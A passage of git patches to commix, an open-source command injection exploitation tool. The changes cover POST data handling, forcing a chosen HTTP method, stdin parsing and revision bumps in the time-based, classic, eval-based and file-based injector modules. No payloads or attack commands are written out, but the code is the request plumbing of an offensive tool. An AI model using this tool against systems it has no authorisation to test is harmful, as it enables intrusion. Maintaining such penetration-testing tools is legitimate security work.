checks.PCRE_e_modifier(multi_parameters[param], http_request_method) diff --git a/src/utils/settings.py b/src/utils/settings.py index 047cf6d9c7..f72193af48 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 93db3f7c46d3b9fd5de16c9003d7c24610047f44 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 26 Mar 2024 07:18:08 +0200 Subject: [PATCH 409/560] Fixes https://github.com/commixproject/commix/issues/896 --- src/core/main.py | 8 ++++++-- src/utils/settings.py | 2 +- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 2364279bf1..fe4f846ad5 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -582,8 +582,12 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin)): - settings.STDIN_PARSING = True + try: + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin)): + settings.STDIN_PARSING = True + except Exception as ex: + if "fileno" in str(ex) and settings.STDIN_PARSING: + settings.STDIN_PARSING = False if menu.options.ignore_redirects: settings.FOLLOW_REDIRECT = False diff --git a/src/utils/settings.py b/src/utils/settings.py index f72193af48..df0fd2c67d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From a07802e46ac3bf550687230eab368ab434dd6a8a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 27 Mar 2024 07:28:45 +0200 Subject: [PATCH 410/560] Trivial update --- .../blind/techniques/time_based/tb_handler.py | 2 +- .../techniques/time_based/tb_injector.py | 14 ++++++++---- src/core/injections/controller/checks.py | 7 +++--- src/core/injections/controller/controller.py | 22 +++++++++++++++---- .../techniques/classic/cb_handler.py | 2 +- .../techniques/classic/cb_injector.py | 14 ++++++++---- .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/eval_based/eb_injector.py | 14 ++++++++---- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/file_based/fb_injector.py | 14 ++++++++---- .../techniques/tempfile_based/tfb_handler.py | 2 +- .../techniques/tempfile_based/tfb_injector.py | 14 ++++++++---- src/core/main.py | 2 +- src/core/requests/parameters.py | 2 +- src/utils/settings.py | 9 +++++--- 15 files changed, 85 insertions(+), 37 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 388960ec3a..a1a6df85d1 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -366,7 +366,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r header_name = "" the_type = " parameter" # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index be29821812..09ef9fe9e3 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -46,12 +46,15 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, start = time.time() # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined method is POST. else: @@ -93,14 +96,17 @@ def injection_test(payload, http_request_method, url): start = time.time() # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined method is POST. else: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 793dd2345e..e07e28a83b 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -76,9 +76,8 @@ def check_waf(url): else: payload = settings.PARAMETER_DELIMITER + payload url = url + payload - if menu.options.data: - settings.USER_DEFINED_POST_DATA = menu.options.data - request = _urllib.request.Request(url, menu.options.data.encode()) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode()) else: request = _urllib.request.Request(url) return request, url @@ -1784,6 +1783,7 @@ def process_xml_data(): if xml_process in settings.CHOICE_YES: return True elif xml_process in settings.CHOICE_NO: + settings.IGNORE_USER_DEFINED_POST_DATA = True return False elif xml_process in settings.CHOICE_QUIT: raise SystemExit() @@ -1823,6 +1823,7 @@ def process_json_data(): if json_process in settings.CHOICE_YES: return True elif json_process in settings.CHOICE_NO: + settings.IGNORE_USER_DEFINED_POST_DATA = True return False elif json_process in settings.CHOICE_QUIT: raise SystemExit() diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index d02e50ea77..8d738c5904 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -95,7 +95,10 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - data = None + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + else: + data = None cookie = None tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -153,7 +156,10 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: print(settings.print_payload(payload)) - data = None + if len(settings.USER_DEFINED_POST_DATA) != 0: + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + else: + data = None cookie = None tmp_url = url if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: @@ -267,6 +273,12 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time basic_level_checks() inject_http_headers = False + + if check_parameter.lower() in url : + http_request_method = settings.HTTPMETHOD.GET + elif check_parameter.lower() not in menu.options.data: + http_request_method = settings.HTTPMETHOD.POST + if (http_request_method == settings.HTTPMETHOD.GET and check_parameter.lower() not in url) or \ (http_request_method == settings.HTTPMETHOD.POST and menu.options.data and check_parameter.lower() not in menu.options.data): if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ @@ -636,6 +648,7 @@ def post_request(url, http_request_method, filename, timesec): Perform checks """ def perform_checks(url, http_request_method, filename): + # Initiate whitespaces if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1: settings.WHITESPACES = ["%20"] @@ -678,8 +691,9 @@ def perform_checks(url, http_request_method, filename): # Check if defined POST data if not settings.COOKIE_INJECTION: - if settings.USER_DEFINED_POST_DATA: - post_request(url, http_request_method, filename, timesec) + if len(settings.USER_DEFINED_POST_DATA) != 0 and not settings.IGNORE_USER_DEFINED_POST_DATA: + if post_request(url, http_request_method, filename, timesec) is None: + get_request(url, http_request_method, filename, timesec) else: get_request(url, http_request_method, filename, timesec) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 1875809737..3a4e2e3bf2 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -243,7 +243,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ header_name = "" the_type = " parameter" # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index 3e1f7db2fd..409025669f 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -46,13 +46,16 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: if settings.SINGLE_WHITESPACE in payload: payload = replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) @@ -197,13 +200,16 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index f2f07393dd..efa2c4ea5b 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -255,7 +255,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: header_name = "" the_type = " parameter" - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 4b48ff1e01..1d00fe19a5 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -40,14 +40,17 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) @@ -185,13 +188,16 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques else: # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index d738712511..d6fae91369 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -483,7 +483,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r header_name = "" the_type = " parameter" # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 4d1c6b0508..1acf02503d 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -43,7 +43,7 @@ def injection_test(payload, http_request_method, url): # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) @@ -55,7 +55,10 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) @@ -189,13 +192,16 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht else: # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined extra headers. headers.do_check(request) # Get the response of the request diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index f4d0598fbf..408c7152a3 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -398,7 +398,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, header_name = "" the_type = " parameter" # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: found_vuln_parameter = parameters.vuln_GET_param(url) else : found_vuln_parameter = vuln_parameter diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 16f5faf027..93cca89e05 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -47,13 +47,16 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, start = time.time() # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined method is POST. else : @@ -97,7 +100,7 @@ def injection_test(payload, http_request_method, url): start = time.time() # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: + if len(settings.USER_DEFINED_POST_DATA) == 0 or settings.IGNORE_USER_DEFINED_POST_DATA: payload = payload.replace("#","%23") # Encoding non-ASCII characters payload. # payload = _urllib.parse.quote(payload) @@ -105,7 +108,10 @@ def injection_test(payload, http_request_method, url): # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(target) + if len(settings.USER_DEFINED_POST_DATA) != 0: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + else: + request = _urllib.request.Request(target) # Check if defined method is POST. else: diff --git a/src/core/main.py b/src/core/main.py index fe4f846ad5..076b1f39c1 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -856,7 +856,7 @@ def main(filename, url): url = menu.options.sitemap_url else: url = menu.options.url - + if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: http_request_method = checks.check_http_method(url) if os_checks_num == 0: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 5755ba6625..c14d3b2e50 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -303,7 +303,7 @@ def json_format(parameter): if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ not settings.IS_JSON and \ not settings.IS_XML: - raise SystemExit() + return "" for param in range(len(multi_parameters)): multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) diff --git a/src/utils/settings.py b/src/utils/settings.py index df0fd2c67d..856cdbae2d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -363,8 +363,11 @@ class HEURISTIC_TEST(object): SKIP_CODE_INJECTIONS = False SKIP_COMMAND_INJECTIONS = False -# User-defined stored post data. -USER_DEFINED_POST_DATA = False +# User-defined stored POST data. +USER_DEFINED_POST_DATA = "" + +# Ignore user-defined stored POST data. +IGNORE_USER_DEFINED_POST_DATA = False # The wildcard character WILDCARD_CHAR = "*" From ad0783905859d92a88e398e4f0f1d825ec01d0e2 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 28 Mar 2024 09:41:33 +0200 Subject: [PATCH 411/560] Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`) --- doc/CHANGELOG.md | 1 + .../blind/techniques/time_based/tb_handler.py | 10 +-- .../techniques/time_based/tb_injector.py | 72 +++++++-------- src/core/injections/controller/checks.py | 34 ++----- src/core/injections/controller/controller.py | 13 +-- .../techniques/classic/cb_handler.py | 10 +-- .../techniques/classic/cb_injector.py | 42 ++++----- .../techniques/eval_based/eb_handler.py | 10 +-- .../techniques/eval_based/eb_injector.py | 42 ++++----- .../techniques/file_based/fb_handler.py | 10 +-- .../techniques/file_based/fb_injector.py | 42 ++++----- .../techniques/tempfile_based/tfb_handler.py | 10 +-- .../techniques/tempfile_based/tfb_injector.py | 72 +++++++-------- src/core/main.py | 20 ++--- src/core/requests/authentication.py | 8 +- src/core/requests/parameters.py | 6 +- src/core/requests/requests.py | 89 +++++++++---------- src/core/requests/tor.py | 2 +- src/utils/settings.py | 2 +- 19 files changed, 238 insertions(+), 257 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a2e7891495..5f3b33d87c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Revised: Improvement regarding forcing usage of provided HTTP method (e.g. `PUT`). * Revised: Improvement regarding parsing raw HTTP request from a file (i.e. `-r` option). * Revised: Improvement regarding parsing JSON nested objects. * Revised: Improvement regarding (basic) heuristic detection of WAF/IPS protection. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index a1a6df85d1..45b06c539e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -143,31 +143,31 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload) + how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) # User-Agent HTTP header injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload) + how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Referer HTTP header injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload) + how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) # Host HTTP header injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to host HTTP header injection. vuln_parameter = parameters.specify_host_parameter(menu.options.host) - how_long = tb_injector.host_injection_test(url, vuln_parameter, payload) + how_long = tb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload) + how_long = tb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: # Check if target host is vulnerable. diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 09ef9fe9e3..6b7b9c75d4 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -52,9 +52,9 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined method is POST. else: @@ -74,7 +74,7 @@ def examine_requests(payload, vuln_parameter, http_request_method, url, timesec, data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -104,9 +104,9 @@ def injection_test(payload, http_request_method, url): vuln_parameter = parameters.vuln_GET_param(url) target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) if len(settings.USER_DEFINED_POST_DATA) != 0: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) else: - request = _urllib.request.Request(target) + request = _urllib.request.Request(target, method=http_request_method) # Check if defined method is POST. else: @@ -128,7 +128,7 @@ def injection_test(payload, http_request_method, url): data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) else: data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC)) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) # Check if defined extra headers. headers.do_check(request) @@ -142,32 +142,32 @@ def injection_test(payload, http_request_method, url): """ Check if target host is vulnerable. (Cookie-based injection) """ -def cookie_injection_test(url, vuln_parameter, payload): - return requests.cookie_injection(url, vuln_parameter, payload) +def cookie_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.cookie_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (User-Agent-based injection) """ -def user_agent_injection_test(url, vuln_parameter, payload): - return requests.user_agent_injection(url, vuln_parameter, payload) +def user_agent_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.user_agent_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Referer-based injection) """ -def referer_injection_test(url, vuln_parameter, payload): - return requests.referer_injection(url, vuln_parameter, payload) +def referer_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.referer_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Host-based injection) """ -def host_injection_test(url, vuln_parameter, payload): - return requests.host_injection(url, vuln_parameter, payload) +def host_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.host_injection(url, vuln_parameter, payload, http_request_method) """ Check if target host is vulnerable. (Custom header injection) """ -def custom_header_injection_test(url, vuln_parameter, payload): - return requests.custom_header_injection(url, vuln_parameter, payload) +def custom_header_injection_test(url, vuln_parameter, payload, http_request_method): + return requests.custom_header_injection(url, vuln_parameter, payload, http_request_method) """ The main command injection exploitation. @@ -213,23 +213,23 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, vuln_parameter, payload) + how_long = cookie_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: - how_long = user_agent_injection_test(url, vuln_parameter, payload) + how_long = user_agent_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: - how_long = referer_injection_test(url, vuln_parameter, payload) + how_long = referer_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag elif menu.options.host and settings.INJECT_TAG in menu.options.host: - how_long = host_injection_test(url, vuln_parameter, payload) + how_long = host_injection_test(url, vuln_parameter, payload, http_request_method) # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: - how_long = custom_header_injection_test(url, vuln_parameter, payload) + how_long = custom_header_injection_test(url, vuln_parameter, payload, http_request_method) else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -295,23 +295,23 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, # Check if defined cookie with "INJECT_HERE" tag if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: - how_long = cookie_injection_test(url, 